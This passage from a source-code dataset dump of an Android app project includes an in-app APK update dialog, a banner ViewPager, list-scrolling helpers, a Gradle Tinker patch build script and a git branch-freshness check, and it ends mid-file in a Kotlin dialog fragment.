"zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.version;\n\nimport android.content.Context;\nimport android.os.Handler;\nimport android.os.Looper;\nimport android.os.Message;\nimport android.view.View;\nimport android.view.View.OnClickListener;\nimport android.widget.ProgressBar;\nimport android.widget.TextView;\n\nimport com.android.util.ext.ToastUtil;\nimport com.android.util.log.LogUtil;\nimport com.android.base.data.RestClient;\nimport com.fastapp.R;\n\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\n\nimport common.widget.dialog.DialogView;\nimport component.update.AppDownloadClient;\nimport component.update.AppVersion;\nimport okhttp3.Call;\nimport okhttp3.Callback;\nimport okhttp3.Request;\nimport okhttp3.Response;\n\n/**\n * ๅผบๅˆถๅ‡็ดšๆก†\n *\n * @author ๅผ ๅ…จ\n */\npublic class UpdateDialogView extends DialogView {\n private static final String TAG = \"VersionUpdate\";\n AppVersion appVersion;\n ProgressBar progressBar;\n TextView tv_progress;\n View reload;\n public static long fileSize = -1;\n\n\n public UpdateDialogView(Context ctx, AppVersion appVersion) {\n super(ctx);\n this.appVersion = appVersion;\n }\n\n @Override\n protected void initView(View view) {\n progressBar = findViewById(R.id.pb);\n tv_progress = findViewById(R.id.progress);\n reload = findViewById(R.id.reload);\n reload.setOnClickListener(new OnClickListener() {\n @Override\n public void onClick(View v) {\n startDownload();\n }\n });\n startDownload();\n }\n\n private void startDownload() {\n reload.setVisibility(View.GONE);\n try {\n File updateFile = AppDownloadClient.getUpdateFile();\n downLoadFile(appVersion.downloadUrl, updateFile);\n } catch (Exception e) {\n e.printStackTrace();\n ToastUtil.show(\"ไธ‹่ฝฝๅคฑ่ดฅ\");\n dismiss();\n }\n }\n\n @Override\n protected int getLayoutId() {\n return R.layout.update_dialog;\n }\n\n\n private class DownloadCallback extends Handler {\n private static final int msg_success = 1;\n private static final int msg_fail = 2;\n private static final int msg_progress = 3;\n\n public DownloadCallback() {\n super(Looper.getMainLooper());\n }\n\n @Override\n public void handleMessage(Message msg) {\n switch (msg.what) {\n case msg_progress:\n int progress = (int) msg.obj;\n progressBar.setProgress(progress);\n tv_progress.setText(progress + \"%\");\n break;\n case msg_success:\n LogUtil.e(TAG, \"ไธ‹่ฝฝๆˆๅŠŸ\");\n fileSize = AppDownloadClient.getUpdateFile().length();\n AppDownloadClient.installAPK();\n dismiss();\n break;\n case msg_fail:\n LogUtil.e(TAG, \"ไธ‹่ฝฝๅคฑ่ดฅ\");\n ToastUtil.show(\"ไธ‹่ฝฝๅคฑ่ดฅ,่ฏท้‡่ฏ•\");\n reload.setVisibility(View.VISIBLE);\n break;\n }\n }\n\n public void sendMsg(int what) {\n sendEmptyMessage(what);\n }\n\n public void updateProgress(int progress) {\n sendMessage(obtainMessage(msg_progress, progress));\n }\n }\n\n /**\n * ไธ‹่ฝฝๆ–‡ไปถ\n */\n private void downLoadFile(String url, File file) {\n\n final Request request = new Request.Builder().url(url).build();\n final Call call = RestClient.getDownloadClient().newCall(request);\n DownloadCallback downloadCallback = new DownloadCallback();\n call.enqueue(new Callback() {\n @Override\n public void onFailure(Call call, IOException e) {\n downloadCallback.sendMsg(DownloadCallback.msg_fail);\n }\n\n @Override\n public void onResponse(Call call, Response response) {\n int lastProgress = 0;\n if (response.isSuccessful()) {\n InputStream is = null;\n byte[] buf = new byte[1024];\n int len;\n FileOutputStream fos = null;\n try {\n long total = response.body().contentLength();\n LogUtil.e(TAG, \"total------>\" + total);\n long current = 0;\n is = response.body().byteStream();\n fos = new FileOutputStream(file);\n while ((len = is.read(buf)) != -1) {\n current += len;\n fos.write(buf, 0, len);\n LogUtil.e(TAG, \"current------>\" + current);\n if (total == -1) {\n downloadCallback.updateProgress(-1);\n } else {\n int progress = (int) (current * 1.0f / total * 100);\n progress = progress >= 100 ? 99 : progress;\n if (lastProgress != progress) {\n downloadCallback.updateProgress(progress);\n }\n lastProgress = progress;\n }\n }\n fos.flush();\n downloadCallback.sendMsg(DownloadCallback.msg_success);\n } catch (Exception e) {\n LogUtil.e(TAG, e.toString());\n downloadCallback.sendMsg(DownloadCallback.msg_fail);\n } finally {\n try {\n if (is != null) {\n is.close();\n }\n if (fos != null) {\n fos.close();\n }\n } catch (Exception e) {\n LogUtil.e(TAG, e.toString());\n }\n }\n } else {\n downloadCallback.sendMsg(DownloadCallback.msg_fail);\n }\n }\n });\n }\n}\n" }, { "alpha_fraction": 0.5645310878753662, "alphanum_fraction": 0.5676261186599731, "avg_line_length": 38.40243911743164, "blob_id": "211857d2a05817335c2672d9802091cddeed7a3e", "content_id": "d255c6d78d62ae4734bcfcf324e020cc725936de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 3593, "license_type": "no_license", "max_line_length": 125, "num_lines": 82, "path": "/app/src/main/java/com/android/base/util/RecycleViewScrollToTop.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.util;\n\nimport android.view.View;\nimport android.widget.ImageView;\n\nimport androidx.recyclerview.widget.LinearLayoutManager;\nimport androidx.recyclerview.widget.RecyclerView;\nimport androidx.recyclerview.widget.StaggeredGridLayoutManager;\n\n/**\n * @author ๅผ ๅ…จ\n */\npublic class RecycleViewScrollToTop {\n\n\n public static void addScroolToTop(RecyclerView recyclerView, ImageView ivTop, StaggeredGridLayoutManager layoutManager) {\n recyclerView.addOnScrollListener(new RecyclerView.OnScrollListener() {\n @Override\n public void onScrollStateChanged(RecyclerView recyclerView, int newState) {\n super.onScrollStateChanged(recyclerView, newState);\n //่Žทๅพ—recyclerView็š„็บฟๆ€งๅธƒๅฑ€็ฎก็†ๅ™จ\n //่Žทๅ–ๅˆฐ็ฌฌไธ€ไธชitem็š„ๆ˜พ็คบ็š„ไธ‹ๆ ‡ ไธ็ญ‰ไบŽ0่กจ็คบ็ฌฌไธ€ไธชitemๅค„ไบŽไธๅฏ่ง็Šถๆ€ ่ฏดๆ˜Žๅˆ—่กจๆฒกๆœ‰ๆป‘ๅŠจๅˆฐ้กถ้ƒจ ๆ˜พ็คบๅ›žๅˆฐ้กถ้ƒจๆŒ‰้’ฎ\n int[] pos = new int[10];\n layoutManager.findFirstVisibleItemPositions(pos);\n // ๅฝ“ไธๆปšๅŠจๆ—ถ\n if (newState == RecyclerView.SCROLL_STATE_IDLE) {\n // ๅˆคๆ–ญๆ˜ฏๅฆๆปšๅŠจ่ถ…่ฟ‡ไธ€ๅฑ\n if (pos[0] == 0) {\n ivTop.setVisibility(View.GONE);\n } else {\n //ๆ˜พ็คบๅ›žๅˆฐ้กถ้ƒจๆŒ‰้’ฎ\n ivTop.setVisibility(View.VISIBLE);\n }\n //่Žทๅ–RecyclerViewๆป‘ๅŠจๆ—ถๅ€™็š„็Šถๆ€\n }\n else if (newState == RecyclerView.SCROLL_STATE_DRAGGING) {//ๆ‹–ๅŠจไธญ\n ivTop.setVisibility(View.GONE);\n }\n }\n });\n ivTop.setOnClickListener(new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n recyclerView.scrollToPosition(0);\n ivTop.setVisibility(View.GONE);\n }\n });\n }\n\n\n public static void addScroolToTop(RecyclerView recyclerView, ImageView ivTop) {\n recyclerView.addOnScrollListener(new RecyclerView.OnScrollListener() {\n @Override\n public void onScrollStateChanged(RecyclerView recyclerView, int newState) {\n super.onScrollStateChanged(recyclerView, newState);\n //่Žทๅพ—recyclerView็š„็บฟๆ€งๅธƒๅฑ€็ฎก็†ๅ™จ\n LinearLayoutManager manager = (LinearLayoutManager) recyclerView.getLayoutManager();\n //่Žทๅ–ๅˆฐ็ฌฌไธ€ไธชitem็š„ๆ˜พ็คบ็š„ไธ‹ๆ ‡ ไธ็ญ‰ไบŽ0่กจ็คบ็ฌฌไธ€ไธชitemๅค„ไบŽไธๅฏ่ง็Šถๆ€ ่ฏดๆ˜Žๅˆ—่กจๆฒกๆœ‰ๆป‘ๅŠจๅˆฐ้กถ้ƒจ ๆ˜พ็คบๅ›žๅˆฐ้กถ้ƒจๆŒ‰้’ฎ\n int firstVisibleItemPosition = manager.findFirstVisibleItemPosition();\n // ๅฝ“ไธๆปšๅŠจๆ—ถ\n if (newState == RecyclerView.SCROLL_STATE_IDLE) {\n // ๅˆคๆ–ญๆ˜ฏๅฆๆปšๅŠจ่ถ…่ฟ‡ไธ€ๅฑ\n if (firstVisibleItemPosition == 0) {\n ivTop.setVisibility(View.GONE);\n } else {\n //ๆ˜พ็คบๅ›žๅˆฐ้กถ้ƒจๆŒ‰้’ฎ\n ivTop.setVisibility(View.VISIBLE);\n }\n //่Žทๅ–RecyclerViewๆป‘ๅŠจๆ—ถๅ€™็š„็Šถๆ€\n }\n }\n });\n ivTop.setOnClickListener(new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n recyclerView.scrollToPosition(0);\n// recyclerView.smoothScrollToPosition(0);\n ivTop.setVisibility(View.GONE);\n }\n });\n }\n}\n" }, { "alpha_fraction": 0.5681528449058533, "alphanum_fraction": 0.5732483863830566, "avg_line_length": 18.14634132385254, "blob_id": "1a6131e678444dbc1a89f9d6b28a395bbabe9b43", "content_id": "096b38c8bb4d241ff855ff50a20d084d3de01b1b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 803, "license_type": "no_license", "max_line_length": 56, "num_lines": 41, "path": "/app/src/main/java/com/android/base/data/ResponseDataArray.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.data;\n\nimport androidx.annotation.Keep;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * dataไธบJsonArray\n *\n * @author ๅผ ๅ…จ\n */\n@Keep\npublic class ResponseDataArray<T> extends ResponseData {\n public List<T> data;\n\n public int count;\n public int page;\n public int pageSize;\n public int pageCount;\n\n\n public List<T> getDataList() {\n return null == data ? new ArrayList<>() : data;\n }\n\n /**\n * ๆ˜ฏๅฆ่ฟ˜ๆœ‰ๆ›ดๅคš\n *\n * @return\n */\n public boolean hasMore() {\n// int dataSize = getDataList().size();\n// if (dataSize == 0) {\n// return false;\n// }\n// pageSize = pageSize == 0 ? 10 : pageSize;\n// return dataSize >= pageSize;\n return !getDataList().isEmpty();\n }\n}\n" }, { "alpha_fraction": 0.5504032373428345, "alphanum_fraction": 0.5544354915618896, "avg_line_length": 25.078947067260742, "blob_id": "2d3c94de28c00a153f3602baa74ca5256d8cfa8b", "content_id": "540be6216ec619310c2f349f8e064f92a0e96283", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1092, "license_type": "no_license", "max_line_length": 60, "num_lines": 38, "path": "/scripts/tinkerPatch.py", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "import os\nimport platform\nimport sys, getopt\n\nif __name__ == '__main__':\n buildEnv = 'qa'\n argv = sys.argv[1:]\n print (argv)\n try:\n # ่ฟ™้‡Œ็š„ h ๅฐฑ่กจ็คบ่ฏฅ้€‰้กนๆ— ๅ‚ๆ•ฐ๏ผŒๅ†’ๅท(:)่กจ็คบ่ฏฅ้€‰้กนๅฟ…้กปๆœ‰้™„ๅŠ ็š„ๅ‚ๆ•ฐ๏ผŒไธๅธฆๅ†’ๅท่กจ็คบ่ฏฅ้€‰้กนไธ้™„ๅŠ ๅ‚ๆ•ฐใ€‚\n opts, args = getopt.getopt(argv, \"e:\",[ \"env=\"])\n except getopt.GetoptError:\n print (getUsageStr())\n sys.exit(2)\n\n for opt, arg in opts:\n if opt in (\"-e\", \"--env\"):\n buildEnv = arg\n print('-e arg =%s'%arg)\n\n print('ๅผ€ๅง‹ๆ‰“tinker่กฅไธๅŒ…')\n sysstr = platform.system()\n cmdPrefix = './gradlew'\n if(sysstr ==\"Windows\"):\n print (\"Call Windows tasks\")\n cmdPrefix = 'gradlew'\n elif(sysstr == \"Linux\"):\n print (\"Call Linux tasks\")\n else:\n print (\"Other System tasks\")\n\n suffix = '-PhostType=3'\n if buildEnv == 'qa':\n suffix = '-PhostType=4'\n assemble = 'buildTinkerPatchOnlineRelease'\n cmdStr = '%s %s %s' %(cmdPrefix, assemble, suffix)\n print(cmdStr)\n os.system(cmdStr)\n\n" }, { "alpha_fraction": 0.5660540461540222, "alphanum_fraction": 0.5711711645126343, "avg_line_length": 27.08704376220703, "blob_id": "e606e1cdebc1990717f7b98eb5faaf634072a42d", "content_id": "389a0eea5573e99fb5fdadf45281cf2d7dc0e61b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 14247, "license_type": "no_license", "max_line_length": 117, "num_lines": 494, "path": "/librarys/CommonWidget/src/main/java/common/widget/viewpager/BannerViewPager.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package common.widget.viewpager;\n\n\nimport android.annotation.SuppressLint;\nimport android.content.Context;\nimport android.os.Handler;\nimport android.os.Looper;\nimport android.os.Message;\nimport android.util.AttributeSet;\nimport android.util.TypedValue;\nimport android.view.LayoutInflater;\nimport android.view.View;\nimport android.view.ViewGroup;\nimport android.widget.AdapterView;\nimport android.widget.ImageView;\nimport android.widget.LinearLayout;\nimport android.widget.RelativeLayout;\n\nimport androidx.annotation.Nullable;\nimport androidx.viewpager.widget.PagerAdapter;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport common.widget.R;\n\n/**\n * ไธ€ใ€ๅŠŸ่ƒฝ\n * <ol>\n * <li>ๆ”ฏๆŒๆ— ้™ๆปšๅŠจ๏ผŒ่ฐƒ็”จstartAutoScrollๅผ€ๅง‹ๆปšๅŠจ</li>\n * <li>ๆ”ฏๆŒๆ— ้™ๅทฆๅณๆป‘ๅŠจๅˆ‡ๆข้กต้ข</li>\n * </ol>\n * ไบŒใ€ไฝฟ็”จ\n *\n * <pre>\n * BannerViewPager mViewPager = (BannerViewPager) findViewById(R.id.viewPager);\n * mViewPager.setImageLoader(loader);\n * mViewPager.setmOnItemClickListener(new AdapterView.OnItemClickListener() {\n * @Override\n * public void onItemClick(AdapterView<?> parent, View view, int position, long id) {\n * }\n * });\n * mViewPager.setInterval(3 * 1000);// ่ฎพ็ฝฎๆปšๅŠจ้—ด้š”ๆ—ถ้•ฟ\n * mViewPager.setScrollDurationFactor(4.0f);// ่ฎพ็ฝฎ่‡ชๅŠจๆปšๅŠจ็š„Scrollerๆ—ถ้•ฟๅ› ๅญ\n * mViewPager.startAutoScroll(4 * 1000);// ๅปถ่ฟŸ4็ง’ๅผ€ๅง‹่‡ชๅŠจๆปšๅŠจ\n * </pre>\n * <p>\n * ไธ‰ใ€ๆณจๆ„\n * <ol>\n * <li>ไธบ้ฟๅ…ๅ†…ๅญ˜ๆตช่ดน๏ผŒ่ฏทๅœจActivityๆˆ–Fragment็š„onRauseไธญๆš‚ๅœๆปšๅŠจ๏ผŒonResumeไธญ็ปง็ปญๆปšๅŠจ</li>\n * </ol>\n *\n * @author zhangquan\n */\npublic class BannerViewPager<T> extends RelativeLayout {\n public String tag = BannerViewPager.class.getSimpleName();\n private AutoScrollViewPager viewPager;\n private LinearLayout indicator;\n private int mIndicatorSize, mIndicatorMargin;\n private BannerPagerAdapter adapter;\n private List<T> dataList;\n private List<View> views = new ArrayList<>();\n private List<ImageView> indicatorImages = new ArrayList<>();\n private int count = 0;\n private int currentItem = 1;\n private int lastPosition;\n private ViewPager.OnPageChangeListener mOnPageChangeListener;\n private AdapterView.OnItemClickListener mOnItemClickListener;\n private BannerImageLoader imageLoader;\n\n public static final int DEFAULT_INTERVAL = 1500;\n private boolean started;\n private TimerHandler timerHandler;\n private CustomDurationScroller mScroller = null;\n private long interval = DEFAULT_INTERVAL;\n private int imageHeight;\n\n\n public BannerViewPager(Context context) {\n super(context);\n init();\n }\n\n public BannerViewPager(Context context, AttributeSet attrs) {\n super(context, attrs);\n init();\n }\n\n public BannerViewPager(Context context, AttributeSet attrs, int defStyleAttr) {\n super(context, attrs, defStyleAttr);\n init();\n }\n\n private void init() {\n LayoutInflater.from(getContext()).inflate(R.layout.banner_layout, this);\n viewPager = findViewById(R.id.bannerViewPager);\n viewPager.setBanner(this);\n mScroller = viewPager.mScroller;\n indicator = findViewById(R.id.circleIndicator);\n mIndicatorSize = dip2px(getContext(), 5);\n mIndicatorMargin = dip2px(getContext(), 5);\n\n timerHandler = new TimerHandler();\n\n }\n\n public static int dip2px(Context context, float dip) {\n return (int) TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP, dip,\n context.getResources().getDisplayMetrics());\n }\n\n\n public void setDataList(List<T> list) {\n dataList = list;\n count = dataList.size();\n\n //ๆŒ‡็คบๅ™จ\n createIndicator();\n //banner\n setImageList();\n setData();\n }\n\n private void setImageList() {\n if (dataList == null || dataList.size() <= 0) {\n return;\n }\n if (imageLoader == null) {\n throw new RuntimeException(\"imageLoaderไธ่ƒฝไธบnull\");\n }\n viewPager.setPagingEnabled(count > 1);\n views.clear();\n if (count == 1) { //ๅชๆœ‰ไธ€ๆกๆ•ฐๆฎ\n createItemView(0);\n } else {\n for (int i = 0; i <= count + 1; i++) {\n createItemView(i);\n }\n }\n }\n\n private void createItemView(int index) {\n View view = null;\n if (imageLoader != null) {\n view = (View) imageLoader.createView(getContext());\n }\n if (view == null) {\n view = new ImageView(getContext());\n }\n\n T t;\n if (index == 0) {\n t = dataList.get(count - 1);\n imageLoader.displayView(getContext(), t, view, count - 1, count);\n } else if (index == count + 1) {\n t = dataList.get(0);\n imageLoader.displayView(getContext(), t, view, 0, count);\n } else {\n t = dataList.get(index - 1);\n imageLoader.displayView(getContext(), t, view, index - 1, count);\n }\n views.add(view);\n }\n\n private void createIndicator() {\n int visibility = count > 1 ? View.VISIBLE : View.GONE;\n indicator.setVisibility(visibility);\n indicatorImages.clear();\n indicator.removeAllViews();\n if (count <= 1) {\n return;\n }\n for (int i = 0; i < count; i++) {\n ImageView imageView = new ImageView(getContext());\n imageView.setScaleType(ImageView.ScaleType.CENTER_CROP);\n LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(mIndicatorSize, mIndicatorSize);\n params.leftMargin = mIndicatorMargin;\n params.rightMargin = mIndicatorMargin;\n imageView.setImageResource(R.drawable.indicator_selector);\n if (i == 0) {\n imageView.setSelected(true);\n }\n indicatorImages.add(imageView);\n indicator.addView(imageView, params);\n }\n }\n\n\n private void setData() {\n currentItem = 1;\n// if (adapter == null) {\n adapter = new BannerPagerAdapter();\n viewPager.addOnPageChangeListener(pageChangeListener);\n// }\n viewPager.setAdapter(adapter);\n viewPager.setFocusable(true);\n viewPager.setCurrentItem(1);\n\n }\n\n public List<T> getDataList() {\n return dataList;\n }\n\n\n /**\n * ่ฟ”ๅ›ž็œŸๅฎž็š„ไฝ็ฝฎ\n *\n * @param position\n * @return ไธ‹ๆ ‡ไปŽ0ๅผ€ๅง‹\n */\n public int toRealPosition(int position) {\n if (count == 0) return 0;\n int realPosition = (position - 1) % count;\n if (realPosition < 0)\n realPosition += count;\n return realPosition;\n }\n\n class BannerPagerAdapter extends PagerAdapter {\n\n @Override\n public int getCount() {\n return views.size();\n }\n\n @Override\n public boolean isViewFromObject(View view, Object object) {\n return view == object;\n }\n\n @Override\n public Object instantiateItem(ViewGroup container, final int position) {\n View itemView = views.get(position);\n container.addView(itemView);\n View view = itemView;\n if (mOnItemClickListener != null) {\n view.setOnClickListener(new OnClickListener() {\n @Override\n public void onClick(View v) {\n mOnItemClickListener.onItemClick(null, v, toRealPosition(position), 1);\n }\n });\n }\n// int height = itemView.getHeight();\n// if (height != imageHeight) {\n// itemView.setMinimumHeight(imageHeight);\n// }\n return view;\n }\n\n @Override\n public void destroyItem(ViewGroup container, int position, Object object) {\n container.removeView((View) object);\n }\n\n }\n\n ViewPager.OnPageChangeListener pageChangeListener = new ViewPager.OnPageChangeListener() {\n @Override\n public void onPageScrollStateChanged(int state) {\n if (mOnPageChangeListener != null) {\n mOnPageChangeListener.onPageScrollStateChanged(state);\n }\n switch (state) {\n case 0://No operation\n if (currentItem == 0) {\n viewPager.setCurrentItem(count, false);\n } else if (currentItem == count + 1) {\n viewPager.setCurrentItem(1, false);\n }\n break;\n case 1://start Sliding\n if (currentItem == count + 1) {\n viewPager.setCurrentItem(1, false);\n } else if (currentItem == 0) {\n viewPager.setCurrentItem(count, false);\n }\n break;\n case 2://end Sliding\n break;\n }\n }\n\n\n @Override\n public void onPageScrolled(int position, float positionOffset, int positionOffsetPixels) {\n if (mOnPageChangeListener != null) {\n mOnPageChangeListener.onPageScrolled(toRealPosition(position), positionOffset, positionOffsetPixels);\n }\n }\n\n @Override\n public void onPageSelected(int position) {\n currentItem = position;\n if (mOnPageChangeListener != null) {\n mOnPageChangeListener.onPageSelected(toRealPosition(position));\n }\n\n if (indicatorImages.isEmpty()) {\n return;\n }\n indicatorImages.get((lastPosition - 1 + count) % count).setSelected(false);\n indicatorImages.get((position - 1 + count) % count).setSelected(true);\n lastPosition = position;\n }\n };\n//------------------------------------------\n\n /**\n * ๅผ€ๅง‹่‡ชๅŠจๆปšๅŠจ\n */\n public void startAutoScroll() {\n startAutoScroll(0);\n }\n\n /**\n * ๅปถ่ฟŸdelayTimeInMills็ง’ๅŽๅผ€ๅง‹่‡ชๅŠจๆปšๅŠจ\n *\n * @param delayTime\n */\n public void startAutoScroll(long delayTime) {\n started = true;\n timerHandler.sendScrollMsg(delayTime);\n }\n\n /**\n * ๅœๆญขๆปšๅŠจ\n */\n public void stopAutoScroll() {\n started = false;\n timerHandler.pause();\n }\n\n /**\n * ๆš‚ๅœๆปšๅŠจ\n */\n public void pauseAutoScroll() {\n if (isStarted()) {\n timerHandler.pause();\n }\n if (null != mScroller) mScroller.resetDurationFactor();\n }\n\n /**\n * ็ปง็ปญๆปšๅŠจ\n */\n public void resumeAutoScroll() {\n if (isStarted()) {\n timerHandler.resume();\n }\n }\n\n /**\n * ๆ˜ฏๅฆๅทฒๅผ€ๅง‹ๆปšๅŠจ\n *\n * @return\n */\n public boolean isStarted() {\n return started;\n }\n\n /**\n * ไธคๆฌกๆปšๅŠจไน‹้—ด็š„ๆ—ถ้—ด้—ด้š”\n *\n * @return\n */\n public long getInterval() {\n return interval;\n }\n\n /**\n * ่ฎพ็ฝฎไธคๆฌกๆปšๅŠจไน‹้—ด็š„ๆ—ถ้—ด้—ด้š”\n *\n * @param interval\n */\n public void setInterval(long interval) {\n this.interval = interval;\n }\n\n /**\n * ๅฎšๆ—ถๅ™จ\n *\n * @author zhangquan\n */\n @SuppressLint(\"HandlerLeak\")\n private class TimerHandler extends Handler {\n private final int msg_start = 1;\n private boolean paused;// ๆ˜ฏๅฆๅค„ไบŽๆš‚ๅœ\n\n public TimerHandler() {\n super(Looper.getMainLooper());\n }\n\n @Override\n public void handleMessage(Message msg) {\n if (paused) {\n return;\n }\n\n if (count > 1) {\n if (null != mScroller) {\n mScroller.setScrollDurationFactor(mScroller.getScrollDuraionFactor());\n }\n currentItem = currentItem % (count + 1) + 1;\n if (currentItem == 1) {\n viewPager.setCurrentItem(currentItem, false);\n sendScrollMsg(0);\n } else {\n viewPager.setCurrentItem(currentItem);\n sendScrollMsg(interval + 500);\n }\n }\n }\n\n /**\n * ็ปง็ปญ\n */\n public synchronized void resume() {\n paused = false;\n sendScrollMsg(interval);\n }\n\n /**\n * ๆš‚ๅœ\n */\n public synchronized void pause() {\n paused = true;\n if (hasMessages(msg_start)) {\n removeMessages(msg_start);\n }\n }\n\n public void sendScrollMsg(long delayTime) {\n if (hasMessages(msg_start)) {\n removeMessages(msg_start);\n }\n sendMessageDelayed(obtainMessage(msg_start), delayTime);\n }\n }\n\n\n public void setOnPageChangeListener(ViewPager.OnPageChangeListener onPageChangeListener) {\n mOnPageChangeListener = onPageChangeListener;\n }\n\n public void setmOnItemClickListener(AdapterView.OnItemClickListener listener) {\n mOnItemClickListener = listener;\n }\n\n public void setImageLoader(BannerImageLoader loader) {\n imageLoader = loader;\n }\n\n// public void setImageHeight(int height) {\n// this.imageHeight = height;\n// for (View view : views) {\n// view.setMinimumHeight(imageHeight);\n// }\n// }\n\n /**\n * ---------------------- ViewPagerๆ”ฏๆŒ api\n */\n public void setPageMargin(int marginPixels) {\n viewPager.setPageMargin(marginPixels);\n }\n\n public void setPageTransformer(boolean reverseDrawingOrder, @Nullable ViewPager.PageTransformer transformer) {\n viewPager.setPageTransformer(reverseDrawingOrder, transformer);\n }\n\n public void setOffscreenPageLimit(int limit) {\n viewPager.setOffscreenPageLimit(limit);\n }\n\n public void setScrollDurationFactor(float scrollFactor) {\n viewPager.setScrollDurationFactor(scrollFactor);\n }\n\n public ViewPager getViewPager() {\n return viewPager;\n }\n\n public PagerAdapter getAdapter() {\n return viewPager.getAdapter();\n }\n\n public int getCurrentItem() {\n return toRealPosition(currentItem);\n }\n\n\n}\n" }, { "alpha_fraction": 0.5432960987091064, "alphanum_fraction": 0.5984637141227722, "avg_line_length": 33.95121765136719, "blob_id": "b3a9181a3bdf267a1f1d5541622576285ba94730", "content_id": "99788792739cb57df5ba83b22c4f0baf96a4ec64", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1686, "license_type": "no_license", "max_line_length": 147, "num_lines": 41, "path": "/scripts/checkIfBehind.sh", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\ngit-log-flat-colored() {\n git --no-pager log --format=\"%C(yellow)%h%Creset %C(cyan)%cd%Creset %s %Cgreen%an%Creset\" --date=short \"$@\"\n}\n\nCURRENT_FEATURE=`git symbolic-ref --short -q HEAD`\nCURRENT_PATH=`git rev-parse --show-toplevel`\nREFERENCE_BRANCH=\"origin/master\"\n\necho -e \"\\033[0;34m >>-----ๅฝ“ๅ‰ๆ ธๆŸฅไป“ๅบ“่ทฏๅพ„${CURRENT_PATH}-----<< \\033[0m\"\n\necho\n\n# ๆฃ€ๆŸฅ โ€œorigin/masterโ€ ๅˆ†ๆ”ฏๆ˜ฏๅฆๅญ˜ๅœจ๏ผŒๅฆ‚ๆžœๅญ˜ๅœจ๏ผŒๆ›ดๆ–ฐ่ฟœ็ซฏ่ฎฐๅฝ•ๅนถๆฏ”่พƒๆ˜ฏๅฆๅญ˜ๅœจ่ฝๅŽๆไบค\ngit rev-parse --verify ${REFERENCE_BRANCH} > /dev/null 2>&1\nif [ \"$?\" == \"0\" ]; then\n\n echo -e \"\\033[0;34m >>-----${CURRENT_FEATURE}-----<< ๆ›ดๆ–ฐ่ฟœ็ซฏๆไบค่ฎฐๅฝ•... \\033[0;34m\"\n git fetch origin\n\n echo -e \"\\033[0;35m >>-----${CURRENT_FEATURE}-----<< ๆฃ€ๆŸฅๅฝ“ๅ‰ๅˆ†ๆ”ฏๆ˜ฏๅฆๅŒ…ๅซ \\\"${REFERENCE_BRANCH}\\\" ๅˆ†ๆ”ฏๆ‰€ๆœ‰ๆไบค่ฎฐๅฝ• \\033[0m\"\n NB_COMMITS_BEHIND=$(git rev-list --left-right --count ${REFERENCE_BRANCH}...@ | cut -f1)\n \n if [ \"${NB_COMMITS_BEHIND}\" -gt \"0\" ]; then\n echo -e \"\\033[0;31m >>-----${CURRENT_FEATURE}-----<< ๅฝ“ๅ‰ๅˆ†ๆ”ฏๆœ‰ ${NB_COMMITS_BEHIND} ไธชๆไบค่ฝๅŽไบŽ \\\"${REFERENCE_BRANCH}\\\", ่ฏทๅˆๅนถๆœ€ๆ–ฐ็š„ master ๅˆ†ๆ”ฏไปฃ็ \\n \\033[0m\"\n git-log-flat-colored ${REFERENCE_BRANCH} | head -\"${NB_COMMITS_BEHIND}\"\n echo -e \"\\033[0;33m \\n >>-----${CURRENT_FEATURE}-----<< ไฝ ๅฏไปฅ้€š่ฟ‡ \\\"git merge origin/master\\\" ๆฅๅˆๅนถไปฃ็  \\033[0m\"\n exit 2\n else\n echo -e \"\\033[0;32m >>-----${CURRENT_FEATURE}-----<< ๅฎŒ็พŽ๏ผŒๅฝ“ๅ‰ๅˆ†ๆ”ฏๅŒ…ๅซ ${REFERENCE_BRANCH} ๅˆ†ๆ”ฏไธŠ็š„ๆ‰€ๆœ‰ๆไบค่ฎฐๅฝ• \\033[0m\"\n fi\n\n else\n\n echo -e \"\\033[0;31m >>-----ไธ่ƒฝๆฏ”่พƒ๏ผŒๆฃ€ๆต‹${REFERENCE_BRANCH}ไธๅญ˜ๅœจ-----<< \\033[0m\"\n exit 2\n\nfi\n\necho" }, { "alpha_fraction": 0.641970694065094, "alphanum_fraction": 0.6434749960899353, "avg_line_length": 34, "blob_id": "244741b926a55d2e6259c3fe9aa84dbaf5d0c109", "content_id": "0210a1e65a31933ad1e1b3ffc6d7af4865f83ad1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Kotlin", "length_bytes": 2673, "license_type": "no_license", "max_line_length": 177, "num_lines": 76, "path": "/app/src/main/java/com/android/base/version/UpDateDialogFragment.kt", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.version\n\nimport android.graphics.Color\nimport android.graphics.drawable.ColorDrawable\nimport android.os.Bundle\nimport android.os.Process\nimport android.view.LayoutInflater\nimport android.view.View\nimport android.view.ViewGroup\nimport androidx.fragment.app.DialogFragment\nimport com.android.base.util.ext.onClick\nimport com.android.base.version.UpdateDialogView.fileSize\nimport com.fastapp.R\nimport common.widget.dialog.EffectDialogBuilder\nimport component.update.AppDownloadClient\nimport component.update.AppVersion\nimport kotlinx.android.synthetic.main.update_dialog_fragment.*\n\n/**\n * Appๅ‡็บงๅผนๆก†\n */\nclass UpDateDialogFragment : DialogFragment() {\n private val appVersion by lazy {\n arguments?.getSerializable(\"appversion\") as AppVersion?\n }\n\n override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n 